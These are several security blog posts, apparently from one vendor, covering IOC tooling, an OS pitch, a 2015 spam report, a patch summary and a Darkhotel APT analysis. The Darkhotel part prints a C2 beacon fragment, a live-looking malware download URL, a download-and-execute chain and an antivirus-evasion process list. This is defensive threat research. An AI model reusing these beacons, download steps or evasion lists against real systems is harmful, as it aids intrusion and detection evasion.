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Infrastructure owners must regularly check their resources for the presence of malicious components. One of the ways in which a resource may become infected is as a result of “zero-day” vulnerability exploitation by cybercriminals. In this case, the developers of security tools used to protect the information system may be as yet unaware of the new threat. At the same time, experts may be investigating incidents related to the new threat. Moreover, some findings of these investigations may already be publicly available.
Such reports have practical value. A typical report on an APT campaign includes the following information:
- Attack victims and the objectives of cybercriminals;
- List of victim nodes (IP addresses);
- Current activity of malicious components and/or cybercriminal groups;
- Detailed descriptions of tools and malicious components used by the cybercriminals;
- Description of the command-and-control (C&C) server infrastructure;
- Indicators of compromise.
Of all the detailed technical information on any given APT, “indicators of compromise” have the greatest practical value for security administrators. This is a set of data that can help an administrator of the corporate IT infrastructure to discover any malicious activity in the system and take appropriate action.
How should information system administrators use this data in practice? This paper is intended to provide an answer to this question.
An indicator of compromise is information on the signs of malicious activity, which is structured in such a way that it can be fed into automated tools designed to check the infrastructure for signs of infection. Although there is no generally accepted format for descriptions of these indicators, several types of structured data are widely used and supported in the industry.IOC
IOC (indicator of compromise) – a list of threat data (e.g., strings defining file paths or registry keys) which can be used to detect a threat in the infrastructure using automated software-based analysis.
Simple IOC usage scenarios involve searching the system for specific files using a variety of search criteria: MD5 hashes, file names, creation dates, sizes and other attributes. Additionally, memory can be searched for various signs specific to the threat and the Windows registry can be searched for specific records.
This data can be presented in a variety of formats, one example of which is OpenIOC. The different formats enable the data to be imported into different security solutions to provide further processing of the indicators. An administrator can integrate IOCs taken from reports into such security solutions as:
- Solutions of the Endpoint Security class
- Various incident investigation tools
There are many commercial solutions for working with IOC, but in many cases the capabilities of similar open-source programs are sufficient to check the target system for signs of infection. One example is Loki – an IOC scanner distributed under the GPL license, which can be used to search the target system for various indicators appearing as a result of malicious activity.
To scan the system using the Loki scanner, it is sufficient to unpack the archive containing the utility and add the relevant IOC attributes to the scanner’s knowledge base. The following IOC categories are located in the application’s folder named “signature”:
- “filename-iocs” – a text file containing lists of file system attributes produced by the activity of various threats;
- “hash-iocs” – a list of MD5, SHA1 and SHA256 hashes of malicious components that appear in the system after it is infected;
- “falsepositive-hashes” – a list of exceptions: MD5, SHA1 and SHA256 hashes that are marked as false positives by the scanner when detecting the relevant components.
As an example, consider the report we released after an investigation of the Carbanak APT. Page 36 of the report lists the MD5 hashes of all malware components that may be present in the system as a result of this infection. We can open the scanner’s file named “hash-iocs” and enter a rule for this threat in the following format: <MD5>;<description> .
List of Carbanak APT components’ MD5 hashes in Loki scanner’s “hash-iocs” file
The next step is to create an indicator in the text file named “filename-iocs”, which describes malicious components’ attributes in the file system. The indicator should have the following format:
IOC for the file system in Loki “filename-iocs” list
After entering the relevant indicators in the scanner’s knowledge base, we can launch a scan of the workstation. This requires launching the “loki.exe” executable file with administrator privileges (otherwise the scanner won’t be able to scan the contents of RAM for attributes) and wait for the scan to complete.
The process of scanning using Loki utility
Upon completing the scan, the application will generate a report and save it in the program’s folder under the name “loki.txt”.YARA rules
In addition to the various IOC indicators, there are files with the “.yar” extension attached to some reports. These files contain rules for YARA – a tool for identifying and categorizing malicious samples. The so-called YARA rules use a special syntax to describe attributes that indicate the presence of malicious activity in the system. If one of the rules is met, the analyzer returns an infection verdict that includes the relevant details (e.g., the threat’s name).
Loki scanner described above also supports YARA rules, which means that administrators can use .yar files taken from reports to scan the system for the threats described in these reports. This is done by copying a .yar file to the “signature” folder and launching a scan.
However, the official tool created by developers of the YARA project is much better suited to working with YARA rules, because its knowledge base is regularly updated and is much more extensive than the databases of other similar utilities. As a result, scanning provides a more comprehensive view of an information system’s security, with more complete information on the presence of malicious components in the system.
To scan a workstation, it is sufficient to launch the YARA utility with the necessary parameters. For example:
yara32.exe –d md5= <MD5_hash><this_is_yara_rule.yar><dir_for_check>
where “-d” is a parameter used to define external variables. If any matches to any of the rules are detected, the utility will display a notification including the rule name and the component triggering the rule.
Sample notification of a YARA rule match
The administrator can, for example, launch such scans at system startup. This can be done by writing a simple PowerShell script that will launch utilities with the right parameters and, if necessary, schedule it to run on all hosts at logon using the Active Directory: User configuration -> Windows configuration -> Scenarios ->Logon.STIX and JSON
Structured Threat Information Expression (STIX) is a unified language for recording threat information and importing it into software solutions. Many security solutions can import information in the STIX format (as well as JSON, which is described below) for using that information in the following kinds of infrastructure:
- Indicator-based security solutions (such as scanners)
- Forensic platforms
- Solutions of the Endpoint Security class, etc.
A STIX report can be imported into IBM QRadar, a popular SIEM solution, using a specially designed python script:
./stix_import.py -f STIXDocument.xml -i 192.168.56.2 -t XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX -r MyReferenceSet
where the “-f” parameter defines the location of a local STIX document, “-i” defines a host with a QRadar console installed on it, and “-t” defines a service token for QRadar.
STIX reports are also supported by the Splunk App for Enterprise Security intelligence platform and can be imported. A STIX file must have a .xml extension to be read and parsed.
It is worth noting that there is a Python utility called openioc-to-stix which can be used to convert OpenIOC format to STIX Indicators, enabling indicators of compromise to be imported as STIX rules into solutions that do not support OpenIOC.
JSON is one of the most popular data presentation formats, which is also often used to format data provided with reports. The use of JSON data depends on the administrator’s needs and on the software solution into which the data is imported. For example, if a JSON file contains IP addresses of command servers to which infected workstations connect, the administrator of the infrastructure protected by the solution can include these IPs in the blacklist of a firewall supporting JSON imports. If the firewall does not support importing data in this format, the administrator can use a parser (a JSON file analyzer) to export the IP list from the file and then import it into the firewall’s blacklist.Conclusion
“Indicators of compromise” help to use threat data effectively: identify malware and quickly respond to incidents. These indicators are very often included in threat reports, which are often skimmed by readers. Even if a document providing details of a research project does not have a dedicated Indicators of Compromise section, a reader can always extract useful data (information on the attributes found in infected systems) from the text, present the data extracted in any of the formats described above and import it into a security solution.
Our latest researches with indicators of compromise:
After the publication of our article on car hacking we received a number of questions regarding KasperskyOS. People who wrote to us made the valid point that there are several good and reliable operating systems on the market, designed, among other purposes, for the automotive industry. The main argument used to demonstrate the technological superiority of competing solutions was that the principle of security domain isolation is not a new idea and many of the existing systems that are currently in use have numerous additional security features based on the current needs, such as implementations of cryptographic protocols, network filters and protection against network attacks. Some of these systems are even certified to meet various security standards!
All these additional features (including certification) are of course important, but is it this functionality that makes an operating system reliable and secure? To answer this question, we first need to answer another: what is a secure OS? From our viewpoint, a secure operating system should guarantee secure or trusted execution of components that are not secure (programs).
Our concept has two very important aspects. One is obvious: we do not trust third-party software and consider it insecure and unreliable by definition. The other, not-so-obvious aspect: we should trust the operating system and regard kernel functionality as trusted. To increase the level of trust (after all, gentlemen do not always believe each other’s word), the kernel should undergo formal and mathematical verification (the subject of verification would merit a large research paper of its own).
Taking this paradigm as a starting point, we did not just implement a secure architecture based on a trusted kernel, but learned from existing secure OS implementations, as well. The fundamental principles, such as security domain separation and a microkernel are only half the story. Studying other systems and their limitations helps not only to avoid known problems but also to find new ways to implement security properties. As a result, we have developed an OS that, on the one hand, is similar in its operating principles to other operating systems but, on the other hand, has features which help to overcome known limitations and improve the security characteristics of the system on which the OS is running.
As an example of such improvement, I would like to mention interprocess communication (IPC) typification. This technology, the idea of which might seem quite obvious, provides us with low-level control of the data sent in application calls, giving security policies a granularity of control that has never been implemented at this level. Another feature is combining different types of security policies, such as Flow Control and Type Enforcement, in one system. The resulting policy is a mix of stateful and stateless policies, offering the best of both worlds. Naturally, the possibilities of combining policies are not limited to these two types. No commercial operating system can boast this flexibility. This functionality provides tight control of all interprocess communication, which is based not only on the knowledge of the subject and object of communication (who requests and from whom) but also on the knowledge of the high-level context of communication (what is requested, when and what data is transferred).
Other KasperskyOS features include a flexible language for defining security policies and a policy verification system, which makes both creating and debugging policies significantly easier. There are many other things, as well. The uniqueness of our work is supported by US and Russian patents.
As a result, we believe we have developed an operating system which implements the principle of trusted execution of untrusted applications. This was achieved, among other things, by using the principle of security domain separation and control of interprocess communication that is tight and flexible at the same time. This means that in the OS, modules can only interact by following a strictly defined protocol, enabling them to call only allowed functions in a strictly defined sequence. For customers, this means that even if there is a vulnerability in some module that can be exploited by a hacker (and we admit that this may be the case), the OS works in such a way that the hacker will only be able to gain control of the vulnerable module and will not be able to interfere with the operation of other modules, because all communications are controlled.
An operating system can be compared to a shield. All additional built-in security capabilities, including firewalls, secure data transfer protocols, even certification, are rivets on the shield. They certainly add reliability to the whole thing, but they do not define the overall level of protection. What is more important is the architecture, the principles underlying the OS. This determines whether the shield will be made of paper, plywood or steel. Many operating systems have great rivets – but what kind of shield are they attached to?
We have already analyzed the situation with regard to the considerable increase in the number of new domain zones as well as mass generation of spammer domains in these zones, specifically those designed to send out illegitimate mass mailings. The further analysis of spam mailings shows that spammers rely not only on a huge number of new domains which they can change even within one thematic mass mailing, but also on the ways they are implemented in the text. For example, in Q1 we registered various cases of “noising” domains in links used to go to spam resources, as well as cases of code obfuscation in the HTML structure of the messages in the mass mailing.
In many mass mailing, spammers used IP addresses of sites, instead of domain names, in links to advertising resources. However they provided modified rather than direct IP addresses, representing them using the octal or hexadecimal numerical system, adding an arbitrary number of zeros to the beginning of the address. This did not change the IP address, but increased the number of possible variants of its representation (variations within one mass mailing); which, as spammers hoped, would help deceive the spam filter. Such alternative methods of representing IP addresses were used by spammers both in direct links and in “noised” redirects.
Spammers also used noised domains. For example, they represented a domain name using both upper and lower case characters (NEEDHosT.niNjA), as well as using several different codes in the HTML structure of the message. They attempted to hide their domains by changing one of the characters in the name of the domain zone for the same from the other code or similar to it. So, for example, it might look like this – domainname.com , domainname.cⓞ
Spammers often applied several methods of noising in one email: they used both the alternative representation of the IP address or domain distortion, as well as the traditional use of meaningless “junk” text in the body of the message, in order to completely conceal the spam theme of the message.World events in “Nigerian” spam
In the second quarter of 2015, “Nigerian” letters exploited the themes of the earthquake in Nepal, the presidential election in Nigeria and the Olympics in Rio de Janeiro. Tragic events widely covered in the world media are usually exploited by fraudsters to trick users, and their stories hardly change.
In the email written on behalf of a lawyer whose client died in Nepal, the scammers asked the recipient to play the role of the victim’s relative and help in receiving their inheritance, in return for financial remuneration. In the other mass mailings, the fraudsters distributed emails in the name of various organizations asking to help the earthquake victims. For example, “a representative of the Red Cross” asked the recipient to assist in accommodating a family of refugees who had decided to move to another country and invest their funds there.
Generally, the addresses of those who send “Nigerian” letters were registered on free e-mail services, even if the author of the email was a representative of an organization, as in the above case. However, some tricky fraudsters tried to make the name and the address of the sender look more legitimate. They sent out fake messages asking the recipients to make a voluntary donation to help the victims of the earthquake in Nepal.
“Nigerians” could not let political events go unnoticed. In one of the mass mailings, the fraudsters tried to lure the recipient with the sum of $2 million, which the newly elected President of Nigeria was allegedly ready to send to the user as compensation for the fraud committed by the citizens of his country.
The next Olympic Games in Brazil will not be held until 2016, but we are already registering fraudulent notifications of lottery wins dedicated to this popular sporting event. Interestingly, a large number of emails of this type was sent out in the run-up to the World Cup, while the Olympics were not mentioned. The content of the messages is standard: the lottery was held by the official organization, the recipient’s address was randomly selected out of millions of email addresses, to receive the win it is necessary to respond to the email and provide the specified personal information.
Noticeably, emails containing a short text in the body of the message, with detailed information provided in an attached PDF or DOC file, are gaining popularity with spammers. This may be because an email with a short text has more chance of passing through a spam filter as legitimate. Emails with attached files are especially dangerous because a user is likely to open the attachment to learn about the the content, which can result in malware infection.The Google search algorithm update
Yet another event exploited in spam in the second quarter of 2015 was the release of regular update to the Google search algorithm. This changed the mobile web search results so that the sites adapted for mobile phones were displayed on top positions.
This news resulted in a significant increase in the amount of spam relating to SEO (search engine optimization) and promotion of sites. Spammers sent out offers advertising the creation of sites of any complexity and purpose, as well as services to attract new customers. They emphasized the necessity to bring the site up-to-date by using the latest features of a popular search engine. Those site owners who still had doubts were threatened with ending up as the last pages in Google search results and the resulting loss of potential customers.Statistics Proportion of spam in email traffic
Proportion of spam in email traffic, January – June 2015
The worldwide decline in the share of spam in email traffic since the beginning of the year has almost stopped. In the second quarter of 2015 it stabilized, fluctuating between 53.5% in April and 53.23% in June.
Proportion of spam in email traffic in Russia, January – June 2015
The situation with spam in Russia is almost the same as for worldwide email traffic. During the second quarter, the share of spam traffic decreased by approximately 1 percentage point per month. Thus, the maximum quantity of spam emails in Q2 was sent in April (59.32%), while the minimum amount was distributed in June (57.47%)Spam sources by country
Countries that were sources of spam, Q2 2015
In the second quarter of 2015 the USA (14.59%) and Russia (7.82%) remained the biggest sources of spam. China came third with 7.14% of the world’s spam, compared to 3.23% in the previous quarter. It was followed by Vietnam (5.04% compared to 4.82% in Q1), Germany (4.13% compared to 4.39% in Q1) and Ukraine (3.90% compared to 5.56% in Q1).Spam email size
Spam email size distribution, Q1 2015 and Q2 2015
The distribution of spam emails by size saw little change from the previous quarter. The leaders were very small emails of up to 2 KB (65.38%), although the proportion of such emails has gradually decreased (it accounted for 73.99% in Q1). The share of emails sized 20-50 KB grew by 4.81 percentage points and reached 8.80%, while the percentage of emails in the size range of 2 KB-5 KB (17.16%), 5-10 KB (3.32%) and 10-20 KB (2.94%) increased slightly – by about 1 percentage point each.Malicious email attachments
Top 10 malicious programs sent by email, Q2 2015
The notorious Trojan-Spy.HTML.Fraud.gen topped the rating. As we have written before, this program is a fake HTML page which is sent via email, imitating an important notification from a large commercial bank, an online store, a software developer, etc. This threat appears as an HTML phishing website where a user has to enter his personal data which is then forwarded to cybercriminals.
Second and third positions are occupied by Trojan-Downloader.HTML.Agent.aax and Trojan-Downloader.HTML.Meta.as. Both are HTML pages which, when opened by users, redirect them to a rigged site. There, a victim is usually faced with a phishing page or is offered a download – Binbot, a binary option trading bot. The two malicious programs spread via email attachments and the only difference between them is the link which redirects users to rigged sites.
Trojan.Win32.Fsysna.brtr rounds off the Top3. It is just a common spam bot which redirects spam from the command center to the mail server on behalf of the infected machine.
Fourth is Trojan-Banker.Win32.ChePro.ink. This downloader, which was as low as sixth position in last year’s ranking, is a CPL applet (a Control Panel component) that downloads Trojans designed to steal confidential financial information. Most malicious programs of this type are aimed at Brazilian and Portuguese banks.
It is followed by Trojan-PSW.Win32.Fareit.auqm. Fareit Trojans steal browser cookies and passwords from FTP clients and email programs and then send the data to a remote server run by the fraudsters.
Seventh and eight places are occupied by downloaders from the Upatre family – Trojan-Downloader.Win32.Upatre.fbq and Trojan-Downloader.Win32.Upatre.fca, respectively, which are usually disguised as PDF or RTF documents. Their main task is to download, unpack and run additional applications.
Exploit.MSWord.CVE-2014-1761.k. is tenth in the Q2 rating of the most popular malicious programs sent by email. It is a Word document containing an exploit which uses an appropriate vulnerability to download to the victim computer other malicious programs designed to steal user personal data.Malware families
If popular malware families, rather than specific malicious programs, are ranked, Upatre heads the Q2 rating. Malware from the Upatre family downloads the Dyre (aka Dyreza, Dyzap) Trojan banker. The list of financial organizations attacked by this banker depends on the configuration file which is loaded from the command center.
The MSWord.Agent family is gaining popularity, although in Q1 it only occupied third position in the Top 10. These malicious programs are DOC files with an embedded macro written in Visual Basic for Applications (VBA), which runs on opening the document. It downloads and runs other malware, such as malicious programs from the Andromeda family.
In Q2 2015, ZeuS/Zbot re-entered the Top 3. The members of this family are designed to carry out attacks on servers and users’ computers and also for capturing data. Although ZeuS/Zbot is capable of carrying out various harmful actions, it is most often used to steal banking information. It can also install CryptoLocker – a malicious program that extorts money to decrypt the data that is has encrypted.Countries targeted by malicious mailshots
Distribution of email antivirus verdicts by country, Q2 2015
In the second quarter of 2015, there were major changes in the Top 3 countries most often targeted by mailshots. Germany (19.59%), which was only fourth in Q1, topped this quarter’s rating: every fifth antivirus detection was registered on the territory of this country. Great Britain, which headed the rating in Q1 2015, moved down to second position (6.31%). Brazil settled in third (6.04%).
The USA (5.03%), which was traditionally the country most often targeted by malicious mailshots, was in fourth place.
Of note is the fact that Russia (4.74%), which came only 10th in the previous quarter, climbed to fifth position in Q2 2015.Special features of malicious spam
In the Q2 spam traffic we continued to register malicious emails with macro viruses, although the peak of distribution for these fell in the previous quarter. Although their number decreased, they still posed a serious threat: the macros we found belonged to the category of Trojan downloaders and were designed to download other malicious programs. Fraudsters trying to convince the recipient of the legitimacy of the email masked their messages as business correspondence and passed malicious attachments off as financial documents or orders.
In some emails the attackers specified the sender’s contact details, inserted logos to make the email look official and took the email address indicated in the email from the “From” field. This made the fraudulent email look even more credible for the recipient.
In Q2 2015, we also came across emails imitating official messages from real companies, and the attackers matched the content of the message to the area of the company’s activity. For example, the emails in one of the mass mailings notified the user about the alleged text message sent by the company providing telecommunications services. The recipient was told they could read it by opening the Microsoft Word attachment, but in fact the message contained Trojan-Downloader.VBS.Agent.amj.
Yet another trick which remained popular with cybercriminals who specialize in sending out malicious spam was masking messages s notifications of receipt of faxes or scans of various documents. These fake notifications are written mainly in English or German, and the attachments imitating the files with faxes or scans contain different types of malware: Trojan.Upatre, Trojan.Downloader and HawkEyePHPLogger. The text in the body of such emails could be brief or, by contrast, contain detailed information about the received document
In September 2014, we registered a malicious mass mailing with an attachment that is not typical for spam – an archive in ARJ format. In 2015, fraudsters continue to use non-conventional archives to spread malware: April’s and May’s spam traffic distributed attached archives withCAB and ACE extensions, which are not common for today’s spam. The archives contained Trojan Trojan-Downloader.Win32.Cabby and HawkEye Keylogger. Unlike such popular spam extensions as ZIP and RAR, the CAB and ACE attachments may not always be recognized by users and thus cause less suspicion.
In Q2 2015, scammers distributed attached malicious ZIP and APK files within the framework of one mass mailing. If ZIP files are found in the majority of spam messages, APK files are relatively rare because they are archived executable application files for Android. The ZIP archives contained the Upatre family Trojan, while the file Check_Updatesj.apk was detected as the encryption Trojan SLocker for Android: when run, it encrypts images, documents and video files stored on the device. After that, the message is displayed to the user asking him to pay for decrypting the files. In sending malware in attached malicious ZIP and APK files, within the framework of one mass mailing, the scammers may have thought that they could trap not only PC users but the owners of Android-based smartphones and tablets working with e-mail from these devices.
In Q2 2015, the Anti-Phishing system was triggered 30,807,071 times on computers of Kaspersky Lab users. 509,905 masks of phishing URLs were added to the Kaspersky Lab databases over this period.
For several quarters in a row, the largest percentage of users affected by phishing attacks was in Brazil, although in Q2 2015 the number fell by half compared to the previous quarter. The same thing happened to the phishing numbers in many other countries.
Geography of phishing attacks*, Q2 2015
* Number of users on whose computers the Anti-Phishing system was triggered as a percentage of the total number of Kaspersky Lab users in the country
Top 10 countries by percentage of users attacked:Country % of users 1 Brazil 9.74% 2 India 8.3% 3 China 7.23% 4 Russia 6.78% 5 France 6.54% 6 Japan 5.93% 7 Malaysia 5.92% 8 Poland 5.81% 9 Kazakhstan 5.79% 10 UАE 5.75% Organisations under attack
The statistics on phishing attack targets are based on the heuristic component of the Anti-Phishing system being triggered. The heuristic component of Anti-Phishing is triggered when the user follows a link to a phishing page information on which is not yet included in Kaspersky Lab databases, regardless of the way in which the page was reached – as a result of clicking on a link in a phishing email, a message on a social network or, for example, as a result of a malicious program’s operation. When the component is triggered, it displays a banner in the browser, warning the user of a possible threat.
In the second quarter of 2015, the “Global Internet portals” category topped the rating of organizations attacked by phishers – its share increased by 2.78 percentage points from the previous quarter and accounted for 42.35%. The percentage of the “IMS” category (4.05%) also grew slightly (+0.13 percentage points) while the other categories showed a decline: “Social networking sites” lost 2.6 percentage points, “Banks” – 5.56 percentage points, “Online stores” – 1.56 percentage points, “E-pay systems” – 2.84 peercentage points, “Telephone and Internet service providers” – 1.33 percentage points, “Online games” – 0.78 percentage points.
Distribution of organizations affected by phishing attacks, by category, Q2 2015
Instant messaging services are popular with fraudsters for many reasons. For example, cybercriminals often use stolen accounts for sending out phishing emails or links to malicious programs to the email addresses registered in the victim’s list of contacts, distributing spam, extorting money and other fraudulent schemes.
Distribution of phishing attacks on IMS, Q2 2015
Most of the Anti-Phishing system activations in this category fall on the popular Chinese instant messaging service QQ, supported by the Tencent telecommunications company.
Phishing pages imitating QQ personal account login pages
Second comes Skype (8.88%) owned by Microsoft. Its share is incomparably smaller than that of the leader in this category.
Phishing page inviting Skype users to verify their personal accountTop 3 organizations attacked
As we have written in our previous reports, the biggest part of non-spear phishing attacks targets the users of a small group of popular companies with many customers around the world. In this way fraudsters are trying to increase their chances of hitting the target by organizing yet another phishing attack.
The Top 3 organizations most often attacked by phishers accounts for 45.14% of all detected phishing links.Organization % of all detected phishing links 1 Yahoo! 29.03% 2 Facebook 10.44% 3 Google 5.67%
The top three organizations targeted by phishers remained unchanged from the previous quarter. It includes Yahoo! (+23.82 percentage points), Facebook (-0.53 percentage points) and Google (-2.44 percentage points). A considerable increase in the proportion of detections of fake Yahoo! pages became possible due to the general decrease in the number of detections; in terms of numbers, the quantity of fake Yahoo! page detections increased only insignificantly.
In Q2 2015, we came across a huge number of phishing pages which imitated the publication of a Facebook page containing an intimate YouTube video. When trying to play the video, a malicious program was downloaded to the victim’s computer.
Fake Facebook pages distributing malicious filesConclusion
In Q2 2015, the percentage of spam in email traffic accounted for 53.4%, a drop of 5.8 percentage points from the previous quarter.
In the second quarter the stories contained in “Nigerian” letters were based on real events: the upcoming Olympic Games in Rio de Janeiro, the presidential elections in Nigeria, as well as the earthquake in Nepal. Fraudsters lured the recipients not only by promising rewards or compensation, but by mentioning lottery wins and asking for a donation for the victims of the earthquake in Nepal.
The increase in the amount of SEO spam was caused by the release of the Google Search algorithm update. The purpose of the update was to raise the sites adapted to mobile phones to a higher position in mobile search results.
In the second quarter of 2015 the top three sources of spam were the USA (14.59%), Russia (7.82%) and China (7.14%).
Trojan-Spy.HTML.Fraud.gen topped the rating of malicious programs sent by email. If popular malware families, rather than specific malicious programs, are ranked, Upatre headed the Q2 rating. Germany (19.59%) was the quarter’s leader as the country most often targeted by mailshots.
Fraudsters continued to pass off attached malicious files as faxes and scans, Flash Player updates and business correspondence. They also continued to send out macro viruses in Word and Excel documents and they used CAB and ACE archives and APK files which are not typical for spam.
In Q2 2015, the Anti-Phishing system was triggered more than 30 million times on computers of Kaspersky Lab users. The largest percentage of users affected by phishing attacks was in Brazil, although the number fell by half from the previous quarter.
Microsoft releases a new batch of fourteen security updates patching over fifty vulnerabilities today, with one of them known to be abused in targeted attacks. A large number of the vulnerabilities were reported by researchers from Google and their Project Zero, and HP’s Zero Day initiative. Meanwhile, a reflective discussion about the value of these offensive teams is laid out on offsec mailing lists.
Currently being exploited in-the-wild, MS15-085 “Vulnerability in Mount Manager Could Allow Elevation of Privilege”, enables an attacker to write out an executable to disk and run it from usb disk insertion. Exploitation is in use as a part of limited targeted attacks. Update installation and maintenance seems to be a large order here, as Microsoft includes a unique recommendation with it: “If you install a language pack after you install this update, you must reinstall this update.” Not only is “Mountmgr.sys” listed a few hundred times in this related knowledge base article, but over a hundred other files are touched with this larger update. And not only is Microsoft shipping code to close up the vulnerability, they are also shipping a new event for the event log, to identify related exploit attempts, “As part of the update, we are also shipping an event log to help defenders detect attempts to use this vulnerability on their systems”. Event ID 100: MountMgr “CVE-2015-1769″ will be logged by Windows for reference.
The new Edge web browser maintains three “memory corruption” vulnerabilities. Typically, when these arise in Microsoft’s web browsers, the flaws have been use-after-free problems. These memory corruption issues surprisingly enable remote code execution on Windows 10:
and one ASLR bypass issue. While the code base is smaller, faster, and newer than IE, these issues continue to crop up in their newest code.
More on Microsoft’s August 2015 Bulletins can be found here, please update your system asap.
Darkhotel APT attacks dated 2014 and earlier are characterized by the misuse of stolen certificates, the deployment of .hta files with multiple techniques, and the use of unusual methods like the infiltration of hotel Wi-Fi to place backdoors in targets’ systems. In 2015, many of these techniques and activities remain in use. However, in addition to new variants of malicious .hta, we find new victims, .rar attachments with RTLO spearphishing, and the deployment of a 0day from Hacking Team.
The Darkhotel APT continues to spearphish targets around the world, with a wider geographic reach than its previous botnet buildout and hotel Wi-Fi attacks. Some of the targets are diplomatic or have strategic commercial interests.
The location of Darkhotel’s targets and victims in 2015:
- North Korea
- South Korea
2015 Darkhotel .hta and backdoor-related, exploit-related and c2 sites:
2015 spearphishing incident attachment name subset:
- schedule(6.1~6).rar -> schedule(6.1~6)_?gpj.scr
- schedule(2.11~16).rar -> schedule(2.11~16)_?gpj.scr
- congratulation.rar -> congratulation_?gpj.scr
- letter.rar -> letter_?gpj.scr
Whether the infection is achieved through spearphishing, physical access to a system or the Hacking Team Flash 0day, there frequently seems to be a common method for a newly-infected system to communicate with Darkhotel’s c2:
It is interesting that this particular group has for years now deployed backdoor and downloader code in the form of .hta files. In 2010, we observed it re-purposing articles on North Korea by the US think-tank, Brookings Institute, in order to attack North Korean-related targets with malicious code buried in .hta files. It also emailed links to its malicious .hta files to North Korean tourist groups, economists with an interest in North Korea, and more. It’s somewhat strange to see such heavy reliance on older Windows-specific technology like HTML applications, introduced by Microsoft in 1999.
From the recent sendspace.servermsys.com/downloader.hta:
After execution and escaping a couple of variables, the .hta uses ancient Adodb.stream components in order to write out a string xor’d with 0x3d as an executable file and runs it.
This code results in the execution of “internet_explorer_Smart_recovery.exe” 054471f7e168e016c565412227acfe7f, and a hidden browser window phoning back to its c2. In this case, it seems that Darkhotel operators are checking as to whether or not the victim’s default browser is Internet Explorer, as all versions of IE return the value “0” and other browsers leave “appMinorVersion” undefined. This data collection seems somewhat odd, because .hta files are supported and run by mshta.exe on Windows systems only, still delivered with Windows 8. Perhaps it is an artefact from early development of the code. Here is a recent version:
“hxxp://sendspace.servermsys.com/readme.php?type=execution&result=created_and_executed&info=” + navigator.appMinorVersion + “
The “internet_explorer_Smart_recovery.exe” file is a simple obfuscated downloader. A series of xor 0x28 loops decrypt the contents of a self-deletion batch file, which is then written to disk and executed. Later in the execution, a more complex rc4 loop decrypts the download url and other strings and imports.
When finished, this url string decryption and connectback looks like
http://sendspace.servermsys.com/wnctprx. The file is downloaded (b1f56a54309147b07dda54623fecbb89) to “.tmp” file in %temp%, executed, and the downloader exits. This larger file is a backdoor/downloader that includes ssh functionality, and drops its keys to disk for ssh interaction. We find older Darkhotel information stealers dropped and run on the system by these downloaders.
The Darkhotel APT will relentlessly spearphish specific targets in order to successfully compromise systems. Some targets are spearphished repeatedly with much the same social-engineering schemes. For example, the attachment “schedule(2.11~16).rar” could be sent on February 10th, with Darkhotel returning to the same targets in late May for a second attempt with attachment “schedule(6.1~6).rar”.
It consistently archives RTLO .scr executable files with in .rar archives, in order to appear to the target as innocuous .jpg files. These executable files are lite droppers, maintaining these decoy jpeg files, and code to create an lnk downloader.
When the target attempts to open what they think is a jpg image file, the executable code runs and drops a jpg image to disk, then opens it with mspaint.exe in the background. This “congratulations” document is in Korean, revealing a likely characteristic of the intended target.
While the image is displayed, the code drops an unusual mspaint.lnk shortcut to disk and launches it. The shortcut maintains a multiline target shell script. This technique is also used by other APTs as persistence mechanisms, as documented by our Mandiant colleagues. The 64kb lnk file is downloader code:
When this lnk file is executed, it begins an AJAX-based download process for the “unzip.js” file (a07124b65a76ee7d721d746fd8047066) on openofficev.info. This is another wscript file implementing AJAX to download and execute a relatively large compiled executable:
This executable code is saved to %temp%\csrtsrm.exe and executed there. It is a relatively large executable (~1.2 mb) that injects malicious code and spawns remote threads into legitimate processes.Stolen certificates and evasion
The group appears to maintain a stockpile of stolen certificates and deploys their downloaders and the backdoors signed with them. Some of the more recent revoked certificates include ones that belong to Xuchang Hongguang Technology Co. Ltd.
Darkhotel now tends to hide its code behind layers of encryption. It is likely that it has slowly adapted to attacking better-defended environments and prefers not to burn these stolen digital certificates. In previous attacks it would simply have taken advantage of a long list of weakly implemented, broken certificates.
Not only are its obfuscation techniques becoming stronger, but its anti-detection technology list is growing. For example, this signed downloader (d896ebfc819741e0a97c651de1d15fec) decrypts a set of anti-malware strings in stages to identify defensive technologies on a newly-infected system, and then opens each process, looking for a matching image name:
c:\avast! sandbox\WINDOWS\system32\kernel32.dll – Avast!
avp.exe – Kaspersky Lab
mcagent.exe;mcuicnt.exe – Intel/Mcafee
bdagent.exe – BitDefender
ravmon.exe,ravmond.exe – Beijing Rising
360tray.exe,360sd.exe,360rp.exe,exeMgr.exe – Qihoo 360
ayagent.aye,avguard.;avgntsd.exe – Avira Antivirus
ccsvchst.exe,nis.exe – Symantec Norton
avgui.exe,avgidsagent.exe,avastui.exe,avastsvc.exe – Avast!
msseces.exe;msmpeng.exe – Microsoft Security Essentials and Microsoft Anti-Malware Service
AVK.exe;AVKTray.exe – G-Data
avas.exe – TrustPort AV
tptray.exe – Toshiba utility
fsma32.exe;fsorsp.exe – F-Secure
econser.exe;escanmon.exe – Microworld Technologies eScan
SrvLoad.exe;PSHost.exe – Panda Software
egui.exe;ekrn.exe – ESET Smart Security
pctsSvc.exe;pctsGui.exe – PC Tools Spyware Doctor
casc.exe;UmxEngine.exe – CA Security Center
cmdagent.exe;cfp.exe – Comodo
KVSrvXP.exe;KVMonXP.exe – Jiangmin Antivirus
nsesvc.exe;CClaw.exe – Norman
V3Svc.exe – Ahnlab
guardxup. – IKARUS
FProtTray. – F-Prot
op_mon – Agnitum Outpost
vba332ldr.;dwengine. – DrWeb
Even the identifying information that the backdoor seeks from a system is not decrypted until runtime. Like the “information-stealer” component documented in our previous Darkhotel technical report, this component seeks to steal a set of data with which to identify the infected system. Much of the information is collected with the same set of calls, i.e. kernel32.GetDefaultSystemLangID, kernel32.GetVersion, and kernel32.GetSystemInfo:
- Default system codepage
- Network adapter information
- Processor architecture
- Hostname and IP address
- Windows OS and Service Pack versions
Essentially, much of this information-stealer code is the same as that observed in previous attacks.Tisone360.com, Visits, and Hacking Team Flash 0day
The tisone360.com site was especially interesting to us. In April 2015, Darkhotel was email-phishing with links to earlier (cve-2014) Flash exploits, and then, at the beginning of July, it began to distribute what is reported to be a leaked Hacking Team Flash 0day.
It looks like the Darkhotel APT may have been using the leaked HackingTeam Flash 0day to target specific systems. We can pivot from “tisone360.com” to identify some of this activity. The site was up and active as late as 22 July, 2015. However, this looks to be a small part of its activity. In addition to the icon.swf HT 0day (214709aa7c5e4e8b60759a175737bb2b), it looks as though the “tisone360.com” site was delivering a Flash CVE-2014-0497 exploit in April. We reported the related vulnerability to Adobe in January 2014, when it was being used by the Darkhotel APT.
